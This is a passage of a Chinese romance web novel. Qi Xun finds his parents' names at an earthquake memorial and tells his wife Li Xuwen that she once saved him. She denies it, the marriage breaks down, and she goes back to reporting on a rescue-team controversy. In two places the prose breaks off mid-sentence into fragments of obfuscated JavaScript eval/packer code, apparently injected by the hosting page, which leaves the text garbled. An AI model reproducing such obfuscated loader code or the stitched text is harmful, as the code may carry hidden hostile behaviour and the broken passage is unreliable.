中午时分云层厚重,空气里弥散着些微敷衍的暖意,而站在纪念馆大门处,却能触摸到从里面溢出来的潮冷。 好容易到了地方,齐寻又在门口站住了。 以前他进去看过无数次,各种文物、保留下来的废墟、手信,他都烂熟于心,近两年他回来,基本也就是在门口坐上大半天,很少再进去。 因为很多年都没有找到父母的名字,猜想大概是他们不愿意见他,所以进去也无用,不如在门口,省得碍他们的眼。 但这次不同了,他在库萨听到那个年轻的母亲那样告诉他,又做了个那么好的梦,听闻闻说,妈妈还去过她梦里。 他出神的半分钟,黎叙闻已经抬步往里走了。 她一踏进纪念馆,首先闻到的,是一种浓重的灰尘的味道。 这味道不像是纤尘不染的纪念馆里的,而像是从一个她已经不再记得的地方,顺着时空飘荡而来。 “你闻到什么味了吗?”黎叙闻偏头问齐寻:“好像很厚的尘土味。” 齐寻嗅了嗅:“没,有点潮味而已。” “噢。” 她狐疑着,深吸了口气,胸前像被压住了什么东西似的,喘不上气来。 如果她还戴着手环,这时候可能又要飙黄了。 “爸妈的名字呢?”她故作镇静问:“是不是要去见一下?” 齐寻在原地安静地站着,神情很平静,说出的话,却带着血味似的:“不知道。” 他茫然地看着将近三米高、绵延近百米的纪念墙,喃喃地:“我没找到。” 这里有将近十万个姓名,密密麻麻地镌刻在石墙上,它们呆板、冰冷,曲折回环,横平竖直,泠泠地注视着他。 “没找到?”黎叙闻不可置信地问:“这么多年,一直没找到吗?” 是的。 很奇怪。 名字再多,总也有个尽头,只要逐个看过去,是或不是,有或没有,总有定论。 但他不敢说,他只说“没找到”。 因为没有找到遗体,父母在官方记录中,是一句冰冷的“失踪”,所以他们的姓名没有第一时间分片区刻上去,而是花了很长时间核对、编修,后续补了很多次,纪念馆格局也翻新了很多次,镌刻、排布、公示,用时非常久,久到他已经没有勇气再追问了。 “要找吗?”身边的人轻握住他的手,手指冰凉:“两个人总比一个人快些。” 齐寻眸光黯淡地闪了下。 与其说找不到,倒不如说他是给了自己一个每年都回到这里,再仔细咀嚼一遍往事的理由。 好像一旦找到,这项任务就完成了。他还可以回来,但他就必须放下一切向前走了。 可他不知道该去哪。 而现在,他有了新的目的地。 他看着闻闻在纪念馆灯光下柔润的眼,终于点头道:“找吧。” …… 就这样一个一个看过去。 那些青灰色的凹陷下去的名字,是别人的父母,别人的妻儿,背后藏着一盏灯,一张饭桌,一本相册,还有一个从此断裂的人生。 视线逐个掠过几千个人名时,黎叙闻终于开始眼晕了。 她抬头看向纪念墙的尽头,齐寻进度比她稍快,神情平静,身体却绷得很紧。 她闭上眼定了定神,四下望了望,看见洗手间标识,想去洗把脸,沿着路走到一半一抬头,却看清了尽头那片惨白灯光下,原搬过来的破墙烂瓦。 一阵强烈的眩晕蓦地袭来,她心中一慌,立刻低头加快脚步,走到墙的拐角处,脚下一软,坐在了石台上。 她半闭着眼在石台上缓了口气,等视线清明后,扶着墙想站起来。 下一秒,她的视线在下一排扫见了两个名字。 齐越农,井澄。 残留的眩晕顷刻消失了,世界只剩下这几个字,在苍然灯光下与她对视。 他们像在冥冥之中引导着她到跟前,想好好看看这个跟将要跟儿子共度一生的女孩。 他们在这里,肩并着肩,已经等了许多年。 黎叙闻呼吸凝滞了好几秒,一阵泪意倏而涌到了鼻尖。 她顾不得其他人的目光,隔了老远扬声冲齐寻喊:“齐寻!你来看!” 齐寻愣了片刻,继而浑身一震,几乎小跑着向她奔来。 她眼见着齐寻蹲下去,怔然地盯着那两个名字,慢慢伸出手,在半空中紧紧握了握,才颤栗着,沉缓地触到那一笔一划的凹痕。 呼吸声浅却粗重,石碑凉而光滑,那些姓名的痕迹粗糙,带着涩人触感刮过他的指尖。 他肩线剧烈起伏着,手指顺着笔画一点一点写了一遍,又伸出手掌,盖住了那几个字。 齐寻就这样半跪在石墙前,连哭泣都是无声的。 他只是慢慢垂下头,死咬着牙关,泪水一颗一颗砸在光可鉴人的大理石砖上,每一滴都摔得粉碎。 溅湿了他盖住字的手背。 他所有的痛苦、执念和爱,都寂静得毫无痕迹,却又滂沱得大雨倾天。 黎叙闻站在一边哽咽,心中大恸,却实在不知道要怎么安慰。 她只能蹲在他身边,让他靠在自己肩头,用手掌轻抚他战栗的脊背。 纪念馆里并不安静,游客们低声的谈话声随处可闻,可每个人都默契地绕开了他们这小小的一隅。 好让一些经年的伤痕,能安静而体面地愈合。 那一天,齐寻坐在那两个名字前,跟爸妈说了很多很多话。 他好好地介绍了黎叙闻,给他们看了婚戒,当着他们的面,对她许下一生一世的承诺。 “这骗不了人的,”他说,“要是我对你不好,他们会来梦里追杀我。” 黎叙闻安静地听着,又哭又笑。 她握着他的手指,看着他的指尖从刚刚的青白,就着她的体温慢慢红润起来。 “我听林青淮说,创伤要全部说出来才会痊愈。”她用侧脸贴着他的手掌:“你要不要跟我说说,十年前,到底发生了什么?” 馆内微凉流动着的气息在这一刹那猛然凝固,齐寻望着她的眼眸骤然震颤。 在她犹豫着想要收回这句话之前,他忽然抓住她的手臂:“你,想知道吗?” …… 在大地震的十年后,齐寻牵着他的“文文”,又一次站在了自己的“家”门口。 但这个地方已经跟他毫不相关了。 在遗址上新建起的楼,都已经到了外壳发黄的年岁,底商的招牌也风吹日晒地褪了色,他记忆里的模样像从未存在过一样,早就无迹可寻。 连当年他上下学看惯了的指示路牌,都已经换了新的。 不过对齐寻来说,至少有一点可堪庆幸:带她回到这里,过去只在他白日梦里出现,现在他却实实在在地牵着她的手,脚踩着他们缘起的那片土地,分毫不爽地实现了。 黎叙闻任由他牵着在广场的一角坐下,看着周遭车水马龙人流如织,默了默才问:“这是……你原先的家?” 齐寻半垂着头看脚下,没有回答。 他的家还在后面,这是当年他被岗亭砸晕埋掉的地方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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在他双目失焦地讲述这段时,正值华灯初上,广场上蚂蚁似地盛着饭后散步的人们,角落音响里唱着聒噪的曲子,阿姨们载歌载舞,有少年人踩着滑板风驰电掣,避过抓着风车疯跑的孩子,避过追着孩子苦笑的家长,最后停在树下对弈的大叔们身边。 这一切生动鲜活的嘈嘈切切,远远地漂浮在空气中,而他们两个坐在这个冷寂的角落,就像坐在十年前。 黎叙闻呼吸都放得很轻,无言地又靠近他一点,想用自己的体温稍稍熨帖这个湿冷淋漓的梦。 他深吸了一口气,像从水中浮起来,换了副稍轻松的语气:“人活着总得为点什么,所以后来的十年里,我做了两件事,一是加入了救援队,因为当时也是救援队把我挖出来的;还有,就是找那个救了我的人。”他看着黎叙闻,咬字沉重:“那个女孩。” 听到这句,她神情忽然一滞,静默好几秒,才问:“那你找到了吗?” 齐寻心里那个压抑保守了多年的秘密,这时候像被煮沸了,势不可挡地顶开他的防线,冒着烫人的热气嘶鸣着从心底溢了出来,烫得他一把抓住黎叙闻的手,急道:“你就不想问那个人是谁?” 黎叙闻一愣:“我怎么认识……” “是你,”他几乎顾不上任何:“闻闻,那个把我拉回来,陪了我两天一夜,把我叫醒、给我喝水的女孩,是你!” 他死死盯着她错愕的眼睛:“我连你的样子都没见过,就凭着你的一把声音,找了你十年……我到处走,遇到闹市区我一坐就是好几天,就为了能再找到那个声音……”他喉咙被漫溢的情绪闭锁,用力吞咽一次,哽咽道:“我、我……” 这句话断在半空,再说不下去了。 黎叙闻被他抓住的手僵直在半空,脸上神情从惊异,到错愕,最终定格在茫然的困惑—— “你在说什么……我之前,从来没来过锦城啊。” 135. 第 135 章 周围所有声音忽而沉入水中。 似乎在真空中窒息了数十秒,齐寻才喃喃地问:“什么?” 很快他又反应过来:“你应该是不记得了……对,你只是不记得了。你不能去震区,不能见废墟,就是那时候落下的病根,你如果没来过,这种创伤怎么解释得通?” 黎叙闻间不容瞬地盯着他,脑子里一片混乱,像被从天外而来的无数碎片同时砸中似的,耳侧全是细而密的轰鸣。 什么意思呢? 她可以确定自己从未来过锦城,可为什么他如此笃定? 在齐寻的记忆里,难道她是另一人? 所有她曾起过疑心的细节刹那间全部被这个念头串了起来—— 初见时他脱口而出的“你真的做了记者”、答应她离谱而无礼的协议结婚的要求、明知危险还非要陪同她暗访、那个倾注了他所有心血,取名“Wen”的工作室、他对她近乎纵容的接纳、险些搭上命都要救她的决心。 她以为是自己幸运,遇上了一个好到简直说不通的男人。 原来一切的说不通,背后都有一个残忍的解释:这些打动她、令她下定决心走进婚姻的东西,并不是给她的。 她一直在扮演一个并不存在的女人。 真相如同一阵山巅寒风,带走她身上的温度,黎叙闻看着对面人的眼神,终于慢慢冰冷起来。 “……大地震那年我跟我妈回了老家,消息都是从电视里看到的。”她语气平而冷:“我体质特殊,那时候看了太多新闻,才有的这个毛病。” “不可能啊,”齐寻神色茫然,手指不自觉收紧用力,攥紧她的手:“你爸爸那时候来采访,带着你一起来的,你自己乱跑,无意中找到了我,你说你叫文文,说你爸爸很爱你,你长大要像他一样,做个战地记者……” 为什么拼尽全力攥紧,是因为知道注定失去么? 他失掉了所有条理和逻辑,说出的话絮叨而破碎,黎叙闻望着他,只觉得胸口沸腾的愤怒和凛冽的失望在不断交织、纠缠。 她控制不住身体的剧烈起伏,却从鼻息中溢出一声笑来:“那年我爸一直在国外,根本没来过锦城。” “文文?哦,原来你一直叫的,是另一个人。”她慢慢地、不容阻拦地把手从他手心里抽出来:“齐寻,你认错人了。” 而齐寻眦目欲裂地盯着她,眼前却一片浓稠的黑,持续了将近十秒,才带着犹疑渐渐散去。 他几次三番张口,嘴唇翕动,却发不出任何声音。 这执念将他捆绑、鞭笞,也牵着他走到今天,他怎么会认错呢? 不可能的,绝对不可能。 如果他连那个声音都认错,那么他这十年、他整个人生,岂不是毫无意义了么? 他脑中混沌一片,所有思绪都被这个念头占据,想不通这复杂的前因后果,更没底气开口说服她。 又是一阵近乎凝滞的沉默。 黎叙闻默然地看着自己翻涌的恼怒慢慢落成一座羞耻不堪的围城,把齐寻、把她自己,都困死在了里面。 她几乎想笑了。 哦,原来又是替身啊,她还以为她终于有资格遇到真爱了呢。 在黎策那里当十六岁的自己的替身还不够,她千挑万选、如履薄冰,以为给自己选了个最可靠最忠诚的男人,结果到最后,她竟然沦为了另一个连脸都没有的女人的替身。 就像怕羞辱她还不够似的,这段关系从一开始,根本就是替身文学——甚至不是长得像、性格像,只是因为她的声音。 只是因为一个虚无缥缈的声音,就搭上了她一颗真心。 ……在所有试探、权衡和生死与共之后,她是真的决定了要跟这个人天长地久的。 这个世界可真是荒谬。 荒谬到容不下她一点卑微的祈求。 黎叙闻不着痕迹地扶了下石凳,僵硬地站起身来。 “去看过你爸妈了,名字也找到了,”她机械道:“我想起来报社还要销假,你……” 说到这里她蓦地转过身去,以为自己掩盖得天衣无缝:“你再待几天吧。” 齐寻一愣,立刻伸手去拉她,她像后脑勺长了眼似地,身形一晃避过他的指尖,然后迈开脚步快步向前走。 “梳子还没给你!”齐寻在她背后慌乱地喊:“明天,明天我带你去取!” 然而她没有停下,也没有回头。 浑浑噩噩走出广场,黎叙闻才发现,锦城真的很小,小到除了那个他们温存过的酒店房间,她并无地方可以去。 街头艺人手中的吉他慷慨高歌,叫卖声和闲聊声嗡嗡煌煌,夜间的步行街比白日里还要热闹,她穿过在各色小摊前流连的人群,身上带着烧烤和炸串的烟火气味,表情冷峻地向前走。 后面有人跟着,她知道。 没什么,这都没什么的。 手机还有电,可以再重新开个房间,或者直接叫车去机场将就一晚,行李里也没有装什么重要的东西,大不了不要了,等明天,等明天到京屿的第一趟航班起飞,一切就都好了。 她可以忘记这几个月的一切,就当是采访认识了个搭子,亲密无间地合作之后,好聚好散。 对,这样也好,亏她出发前还在忧心,齐寻那么喜欢小孩子,她要怎么选。 现在好了,她不用再操心他会不会委屈,也不用再为难到底谁该妥协,体验装已经结束,她实在没有必要担心那个把她当做替身的人,还能不能过好后半辈子。 天大地大,她自由了。 在步行街往来如织的人群中,和纷繁流散的灯光里,黎叙闻忽然停下了脚步。 她默然地站在锦城繁华而陌生的街头,蓦地泪流满面。 …… 那天晚上,酒店对门的两个房间像沉默对峙的两支军队,在幽暗中隔空而望。 黎叙闻在街上走了三个小时,直到彻底脱力,才看见齐寻的信息,让她回房间住,他会让出地方,不碍她的眼。 凌晨五点,对面的房间房门一开一合,发出克制的咔哒声,齐寻靠坐在自己房间的门背后,慢慢睁开了眼睛。 其实根本睡不着,只是双眼痛得火烧一样,不得不阖上休息,脑子里的念头却像跑马一样奔腾不息。 他想了很多事,比如到底哪个环节出了错,她那么笃定,难道他真的认错人了么? 那现在的一切算什么,到底该算他背信弃义,背叛了救命恩人,还是算他终于跟往事作别? 比如闻闻该怎么办,原本就有那样的心结,他小心再小心,想为她挡风遮雨,没想到从一开始,他就是她的风雨。 那这段婚姻要怎么办,他该怎么面对她,是应该从此不再出现,还是起码有个体面的告别? 这一切难以抉择的问题在对面房门响起的那一刻,像流云一样全部散了。 理智做不出的选择,心会告诉他。 那一声好像不是锁舌的弹响,而是抵在他太阳穴狠狠开了一枪,疼得他猛烈地一抖。 不行,不能就这么算了。 他仍不相信自己认错,不仅仅是因为他对自己的声音记忆极有信心,还因为他在此刻清清楚楚地明了,如果失去这个人,那他这辈子是真没什么好活了。 可如果他们之间没有了这层关系,他不必报答、不必守护,那他还有什么理由纠缠不休,还有什么道理非要跟她在一起? 她明明值得更好的人。 ……不行,他接受不了。 所以那个把他从地狱里拉出来,和让他再次体验到活着的人,一定都是她。 也必须都是她。 …… 黎叙闻几乎是逃回京屿的。 第一班航班不巧已经满员,她硬是买了头等舱,也不愿意等四十分钟坐下一班,好像她多等一分钟,锦城这个地方就多观赏一回她被人玩弄的狼狈似的。 后知后觉,她忽然觉得,自己好像应该恨一下齐寻。 不过好在上了飞机,就再没人知道昨天的一切。 来时她靠在齐寻肩上睡得昏天黑地,不觉得长,一个人回去才发现,这趟旅程真是不短,足够她把那些全部藏起来,把自己的外壳拼好,再化一个精致漂亮的妆。 记者总归要脸,再难堪都得体面,这是老马教会她的道理。 她是个好学生,所以等打车到了家,她已经从无措中恢复过来,又变成了那个理性锋利、走起路来摇曳生姿的记者。 可出租车进小区的那一刻,保安看到她摇下窗户,对她问好:“黎女士,出行顺利吗?怎么您先生没跟您一起?” 黎叙闻表情垮了一瞬,立刻端住,道:“他可能晚些。” “好的,”保安点头:“这两天有人送来一瓶米酒,说是送你们做生腌,一会儿给您拿上去。” 黎叙闻愣了愣,想起走之前请救援队他们吃过一顿饭,应该是大梁送了家乡的米酒来。 就这么短短几天,什么都不一样了。 她木着脸上了楼,站在门口,想起一进门就要面对满屋齐寻留下的痕迹,脚步就忽然一顿。 她一停,家里的门却忽然开了。 电锯妹从里面出来,见她在门口站着,惊喜道:“闻姐!你回来了!”又伸脑袋往她身后看:“白蛇呢?” 黎叙闻看着她鲜妍的脸,好一阵子,才记起齐寻走之前给了她钥匙,让她每天来帮忙遛狗。 ……跟他闹成 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这些东西远比他本人要难缠——只要她回避不见,他就不能如何,可这些东西,就算全部收拾掉,房间也会变得空荡,好像在身上挖掉了一个肉瘤。 但如果不挖,它早晚会要了她的命。 黎叙闻面无表情,把他所有东西连同自己眷恋的心情都打包好,塞进他带来的行李箱里,扔到门外走廊上,还附赠了全力的一脚。 行李箱竟没倒,沿着走廊咕噜噜地往前跑,奔着电梯口就去了。 黎叙闻心满意足地眯起眼,望着它笑了一声。 电梯门忽然开了,于是她这个笑,正对上风尘仆仆赶回来的齐寻。 齐寻抬脚挡住箱子,站在原地一动不动地看着她,脸上什么表情都没有。 “没去销假?”他问。 黎叙闻心里刺痛,唇边的笑却不见端倪:“有你什么事?” 齐寻从眉眼到身形,整个人都松垮着,沉默着站了一会儿,在她关门之前拖着箱子撑住门:“我们聊聊。” 他背着光,阴影把黎叙闻整个人罩在里面,表情笃定且不容置疑,很有点迫人的意思。 可黎叙闻从来不吃这套。 她扬起巴掌大的脸,眼尾挑得风情万种:“你不忙吗?” 齐寻直觉她说不出什么好话来,并不搭腔,自上而下地望着她,扒在门上的手指无声地用力。 “去找你的救命恩人呀,”黎叙闻一哂:“抓紧时间,趁着你皮囊尚好,再错上十回八回,不成问题。” 她倚在门边,昂着头对着他笑:“说不定人家都结婚生子了,你不去爬窗给别人戴绿帽子,还在我这浪费时间?” 话说得实在难听,饶是齐寻早有准备,都不免气短,他轻叹了声:“闻闻……” 黎叙闻脸色蓦地变了:“你再这样叫我一声,我就扇你。” 这时候家里的小狗吐着舌头奔过来,对着齐寻不住地摇尾巴,来来回回蹭他裤腿。 黎叙闻恼怒道:“乖乖!回来!他又不是你爸,你蹭什么?” 齐寻弯腰把小狗抱起来:“它跟我姓,怎么不是我女儿?” 趁着她语塞的一秒,齐寻低声道:“杀人犯都有请律师的机会,你不能这样一句话都不让我说就把我赶出门吧。” 黎叙闻冷笑着抱起双臂:“现在我们只有一件事好谈:什么时候去离婚。” 齐寻心脏蓦地一抽,连带着眉心也跟着一抽。 “不离婚,”他半垂着头,执拗道:“我不离婚。” 一个高大健壮的男人,语气里竟然都是委屈。 黎叙闻看着他下捺的眉眼,蓦地撇开眼神,声音低了些:“不离婚,还怎么找人。” 她忽然抬手发力,狠命在齐寻肩上硬推了一把,齐寻没防备,蓦地退了两步,手指松开了门边。 黎叙闻站在门框里,迎着走廊尽头透出来的光,面色艳若桃李,悲伤却似下面盖不住的真相,从她眼底汩汩地漫出来。 “齐寻,我们体面点吧,”她慢慢地说:“既然到了这一步,就不要再解释,也不要再见了。” 齐寻沉默地站在光里,身影模糊。 “祝你找到人,”黎叙闻飞快地笑了一下:“祝你跟人家天长地久。” 门嘭地一声关上,关住了小狗呜呜的叫声。 可她的脚步声却一直没有响起来。 黎叙闻抱着小狗,靠在门背后,一直等到行李箱的轱辘声进了电梯。 在理智反应过来之前,身体先带她跑到窗前,等了一阵,见他上了车,在里面坐了将近五分钟,车灯才忽然一闪。 那辆她坐惯的牧马人从她的楼下,慢慢开走了。 136. 第 136 章 黎叙闻在窗前站了很久,再回过头看清空了他东西的家,只觉得哪里都不对劲。 她在这里住了快三年,有他的日子不过寥寥数月,可他一走,黎叙闻忽然觉得,这房子好像买得太大了。 一个人的东西,似乎怎么都不够填满这个空间。 呆了一阵,她决定把自己收在箱子里的、不常用的东西全部摆出来,把空缺塞满。 挽起袖子,刚从床底下拖出两个纸箱,电话就响了。 她看了一眼,没理会——天王老子的电话,她现在都不想接。 原本打算等那边自动挂断,可对面偏不依不饶,黎叙闻不耐地拿起来一看,是钟郁青拨了视频电话过来。 她盯了屏幕半晌,去洗手间洗了把脸,对着镜子摆了个昂扬的表情,嘴角都没敢松下来,直接接通了电话。 钟郁青在那边一看到她,先问:“闻闻,你在家吗?没上班啊?” “休假了,”黎叙闻笑盈盈的:“怎么了,突然打电话过来。” 钟郁青仔仔细细看了她几秒,像松了口气:“没事就好。”她这才向后靠进沙发里:“刚睡了一觉,梦见你刚五六岁,我带你出去玩,结果把你给弄丢了,吓得我……” 她停了停,不放心似的:“真的没事吧?” 黎叙闻还没答应,鼻子先酸了,很想真的像小时候一样,扑到妈妈怀里大哭一场。 “能有什么事,”她用力咽了咽,眨了眨眼:“别胡思乱想了。” 钟郁青终于放下心来:“也是,年纪大了,老是想起以前的事……小齐呢,上班去了?” 黎叙闻蓦地把手机扣下了。 为什么。 为什么所有的人事物,都在一遍一遍问,你怎么一个人呀,齐寻呢,他怎么没跟你一起回家? 原来的决心还作数吗?你想好的那个未来还会发生吗?你交出去的心呢,善终了吗? 没有,没有了。 她深吸了一口气,重新把手机架好,笑道:“刚手滑了。是呀,去努力赚钱了,好养我。” 钟郁青见她神色如常,不疑有他,又说:“妈妈也没机会当面见他,这样吧,你挑件礼物,我来买单,给他当见面礼好不好?” 黎叙闻看着屏幕,想起了那只最终也没有摸到的,齐寻家传的梳子。 她抿了抿唇,忽然说:“妈,你还记得十年前,就是锦城大地震那会儿,咱们在干嘛吗?” 画面这时候好像忽然卡住了,钟郁青在那边,好几秒都没动。 黎叙闻切出去看了一眼网络,又切回来:“妈妈?” “哦,记得呀,”钟郁青道:“不是带你回老家了,怎么问起这个?” 黎叙闻想了下,又问:“那时候也不是节假日,学校也没放假,咱们为什么回去来着?” “你舅姥爷突然没了嘛,生老病死哪有个准儿?” “嗯……咱们跟舅姥爷家,有来往吗?”黎叙闻似乎特别执拗:“回老家都做了什么,我好像都没印象了。” 钟郁青笑着看了她一阵,问:“闻闻,你是不是听说什么了?” 黎叙闻耳边忽地一静。 听说? 这是不是意味着,真的有她不知道的真相,在等她发掘? 这个瞬间,有一种很隐秘、很细微的狂喜,细小的藤蔓似地,从心底呼地钻了出来。 她几乎听不见自己的声音了:“听、听说什么?” “那时候刚好碰上大地震,你在舅姥爷家看太多电视,天天做噩梦,”钟郁青半眯着眼睛,慢慢道:“一直到回到家,吃了药才好,噩梦不做了,记性也变差了。你都忘了?” “是不是最近又听到了什么有关地震的消息?之前库萨地震了呀,你又做噩梦了?”钟郁青问。 黎叙闻呆呆地望着妈妈:“……嗯,想起来了。” 好像是有这么一回事。 她确实吃过药,那时候看过的新闻,连同她跟妈妈回老家所见的风物,还有那时候不小心碰伤了耳后留下的疤,她全都记忆模糊。 耳后的那条疤,她嫌丑,还在上面纹了小蛇。 刚刚从心底生长出来的狂喜,随着她回忆浮现,倏而碎成了齑粉。 后知后觉,她自己都笑了。 爱一个人能爱到这样没自尊的地步吗,她自嘲地想,竟然真的妄想变成他的救命恩人。 “那时候还拍了不少照片呢,要发给你吗?”钟郁青又道:“妈妈这里都有翻拍的。” 黎叙闻心不在焉,胡乱答了声好,便挂了视频。 什么照片,她根本不想看。 那碎掉的妄想好像把她的心顶开了个洞,现在空荡荡地下坠,坠得她胃痛。 可钟郁青言出必行,挂了电话没几分钟,就丢了十几张照片过来。 黎叙闻把手机扔在茶几上,又干了半个小时的活儿,终于还是没忍住,点开一张一张地看。 毕竟十年了,还是翻拍,这些照片每一张都画质堪忧,但仍不难看出,上面那个胖乎乎的女孩子,就是她无疑。 在黎策心里,这才是女儿的样子。 每每听见爸爸充满爱意地提起小时候的她,黎叙闻都觉得自己像条流浪狗,满身癞癣,在阴暗地偷窥别人的幸福。 她看着照片里十年前的自己,莫名生出了一股嫉妒。 那时候她什么都没有,什么都不是,反而得到了世界上最好、最纯粹的爱。 那现在呢,她一路奋勇,披荆斩棘,都是为了什么,怎么反而失去了她最想要的东西? 他们一个个眼里看见的,都不是真正的她。 所以真实的她,就不值得被爱吗? 眼看自己又要被搅进无解的漩涡,黎叙闻叹息一声,切出微信,点开国际要闻,准备拿这个完蛋世界上的其他破事洗洗脑子。 跳过开屏广告,一串大写加粗的标题像麻雀一样,啼鸣着蹦进了她的眼帘—— 《渎职!Ironpeak公司接受调查》 黎叙闻瞪大了眼睛,来来回回看了这个标题三遍。 这是什么意思? 查理那小子,给了他个支点,他真的撬动地球了? 她仔仔细细看了一遍报道,果然是因为在救灾外包中多次渎职,并有直接证据表明该公司在后续的灾后重建过程中,与多地政府有不正当利益交换,联邦调查局已介入调查。 而这一切,都是由一个叫查理·道尔顿的GVN记者一手牵头,坚持不懈挖出来的。 在新闻的最后,拓展阅读栏里,赫然标注了BBC对查理的采访。 黎叙闻想也没想,顺手就点了进去。 一段时间过去,查理已经远不是当时那个衣冠不整、出镜只会抹发胶的愣头青了——他穿着剪裁合身的西装,头发打理得一丝不苟,精神比在塔拉维的时候好了不止一星半点,坐在镜头前,显得谨慎而从容。 她简直不敢认了。 那个当初张口就问救援队摆拍的机器在哪里的傻小子,现在面对BBC的王牌主播,表情松弛自信,随意地谈及自己跟塔拉维的渊源,以及那段称得上惊心动魄的日子。 他笑称:“我只是GVN的一块边角料,不然也不会被派去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当天下午,黎叙闻就回到报社,跟人事销了假。 小茉见了她,奇道:“闻姐?蜜月只度了这么几天啊?”她凑近了,盯着黎叙闻:“怎么感觉比跑采访还憔悴了?” 黎叙闻无心解释,摆摆手:“最近有什么选题?”停了停,又说:“不要太大的,我状态一般。” “哦哦,有的,”小茉打开手边的选题会议记录:“‘女子冬日跳河,只为换一顿肯德基。” 黎叙闻:? 黎叙闻:“什么玩意?商报是不是要倒闭了?” “是这段时间的热点,友商都在报,”小茉翻出相关报道给她看:“讨论度很高呢,那热度,谁不眼馋呀。” 黎叙闻接过来一看,还真是。 就这么点博人眼球的破事,各大媒体跟进得津津有味,跟着这“跳河女子”和嘴上淬了毒的网友们骂得有来有回。 ……新闻好像真的完蛋了。 黎叙闻捏了下眼角:“……还有呢?” “还有就是前两天那个水库捞尸的事,”小茉道:“也吵得不可开交的。” 黎叙闻苦笑:“不吵架就不会写新闻了是吗?水库捞尸是什么事?” “有人在水库溺亡,救援队去帮忙打捞,被人拍了张笑容满面的照片。”小茉边解释边翻资料:“那张照片还存了,放哪儿了呢……” 黎叙闻眼皮猛地一跳:“哪个救援队?” “叫什么,什么光救援吧……”说着她点开一个文件夹:“找到了!” 黎叙闻大脑空了一瞬,转头去看她的屏幕。 上面穿着微光的深蓝色制服,站在冲锋舟上,笑得志得意满的,赫然是前两天还在席间跟她说笑的小熊。 137. 第 137 章 带着摄像大哥赶赴微光队部的路上,黎叙闻都还在想,该不会碰见不该碰见的人吧。 按说这种舆论危机,出面处理的一般都是地区队长,再说他明面上已经卸任了,这样光明正大出现在媒体面前,搞不好又要被有心人利用,徒增伤害。 一想到齐寻卸任的理由,她心口先绵密地疼了起来。 可她转念一想,他那些牺牲、付出、爱意,都不是对她的,而是对着某个说不定根本不存在的女人的。 如果不是她跟那个“文文”有相似的声音,他们根本不会开始。 不,是根本不会相遇。 她这么想着,指尖就在采访提纲上捏出了一圈细小的波澜。 ……最好不要见到他。 “小黎?”摄像大哥叫她:“你跟张纸较什么劲呢?” 黎叙闻干笑了声:“啊,哈哈,没事。” 没事是不可能没事的。 因为等他们马不停蹄进了队部会议室,里面坐着等他们的,除了小熊,就是那个她最不乐意见到的人。 齐寻也穿着制服,下巴微微泛着青,视线停在她脸上半晌,公事公办道:“黎记者,你好。” 那眼神破碎而黏连,任谁来看,都算不上清白。 黎叙闻只跟他对视一眼,上午献身事业的万丈豪情险些退了个干净。 这个人…… 这个人。 她按下冷疼一片的心口,低头整理提纲:“我以为出面的会是纪队。” 小熊经历了风波,人还颓着,闻言才悻悻道:“本来纪队要来,可白蛇说……” 齐寻轻飘飘睨了他一眼,他才慌忙改口:“纪队临时有事出去了。” 黎叙闻意有所指地看着齐寻:“是么。” 齐寻轻咳了声:“开始吧,辛苦。” 摄像大哥提着机器,眼神在他们二人之间不停游移。 干媒体的看得最多的就是人,一进门,他就感觉到自家台柱子跟这个副队长之间有点说不清道不明的气场,安静地吃了一阵子瓜,在旁边架好机器,问黎叙闻:“是拍你们三个,还是拍对面俩?” 黎叙闻摇头:“只拍当事人一个人。” “为什么?副队长不出镜?” “嗯,不出镜,”黎叙闻扫了齐寻一眼:“他不适合出镜。” 齐寻眉头轻轻挑了下,神情一松。 他几乎毫不掩饰,眼神一下子热起来,黎叙闻余光被燎了一下,面无表情转向小熊:“请说说当时的情况。” 一提正事,小熊就委屈:“闻姐,我……” 齐寻轻敲桌面:“叫黎记者。” 小熊茫然了一瞬,还是改口道:“黎记者,这事儿真不是大家想的那样。” 事情说起来,其实很简单:有人在水库溺亡,求助救援队帮忙打捞,齐寻不在,小熊水性最好,便带着人赶了过去。 本来是不难的活儿,但那天真就见鬼了,水库就那么大点地方,怎么捞都捞不上来。小熊试了好几次,都扑了空,岸边哭嚎的家属也渐渐不安起来。 他实在没招,想起老家的讲究,就在船上自言自语,说兄弟,出来吧,已经这样了,躲也没转机,你心疼心疼你家里人,也心疼一下我们,跟咱回去吧。 说来也巧,他念完没几分钟,水面上就浮起了人。 小熊心下猛地一颤,继而又觉得欣慰,想是亡者听到了他的念叨,来跟他回家了。 他心里这一松,脸上没注意,就露出了个不那么合时宜的笑容。 就是这一笑被人精准地拍了下来,发到了网上。 争议点也不难猜—— “都死人了,家属哭成什么样了,他还笑这么灿烂,这合适吗?” “不会是因为捞上了人,能收高价捞尸费吧?” “不然还能因为什么?赚这种丧良心的钱,救援队真是不得好死。” 黎叙闻看着小熊递过来的评论截图,太阳穴像装了马达似地突突狂跳。 亲身经历过她才知道,救援队的这帮傻子,花着自己的钱,用着国外淘汰下来的二手装备,吃着最硬的便宜干粮,为的不过是某种看不见摸不着的公义。 到底是谁丧良心? 可光她知道真相没有用,她说了不算。 于是黎叙闻硬下心肠,语气平直地问:“所以你们有没有收取家属的财物?” “闻姐!你知道的呀!”小熊瞪着她,忽地叫起来:“我们出勤什么时候收过钱?不都是外面传的谣言吗!” 齐寻单手按住他:“回答记者的问题,别说那些有的没的。” 说完又看向黎叙闻,眼里有星点安抚和担忧。 黎叙闻视线没有错开须臾,于是也没看到他复杂的眼神,只是盯着小熊面色平静地重复:“所以,你们到底有没有收取家属的财物?” 小熊表情语气都难掩失望:“没有,我们一分钱、一粒米都没拿,路费和饭钱都是我们救援队自己贴的。满意了吗黎记者?” 黎叙闻垂下头去看提纲,没有答话。 摄像大哥从镜头后面抬起眼,看看面色紧绷的黎叙闻,又看看对面愤愤的小熊,和神色如常的齐寻,眼神意味深长。 外人大概觉得记者惯会搅弄风云,但其实不是的。 记者能做的其实十分有限,很多时候越是有倾向,就越会引起公众的逆反,到最后帮不到想帮的人,反而成了害人的帮凶。 记者最深的同情就是中立,有些时候,甚至是不近人情。 